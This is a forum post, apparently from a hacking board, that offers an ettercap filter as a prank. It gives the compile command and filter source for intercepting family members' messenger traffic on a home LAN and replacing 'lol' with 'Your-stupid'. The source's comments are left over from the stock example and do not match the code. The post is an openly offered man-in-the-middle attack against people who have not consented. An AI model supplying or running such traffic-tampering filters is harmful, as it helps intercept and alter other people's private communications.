If this is your first visit, be sure to
check out the Forum Rules by clicking the
link above. You may have to register
before you can post: click the register link above to proceed. To start viewing messages,
select the forum that you want to visit from the selection below.

Funny ettercap flilter

lets say your family is on there computers chatting on there messengers in your lan network, every time the word "lol" is found it will be replaced with a new word or phrase, for example "your stupid"

save this code as etter.filter
then compile the code with this commandetterfilter etter.filter -o etter.ef

Code:

############################################################################
# #
# ettercap -- etter.filter -- filter source file #
# #
# Copyright (C) ALoR & NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
##
#
# This filter will substitute the word 'ethercap' with 'ettercap' and
# will log the content of the packet in /tmp/mispelled_ettercap.log
# It is only a dummy example.
##
if (ip.proto == TCP && search(DATA.data, "lol") ) {
replace("lol", "Your-stupid");
msg("Correctly substituted new phrase.\n");
}

Of course, if you really wanted to have some fun, go to Wal-Mart late at night and ask the greeter if they could help you find trashbags, roll of carpet, rope, quicklime, clorox and a shovel. See if they give you any strange looks. --Streaker69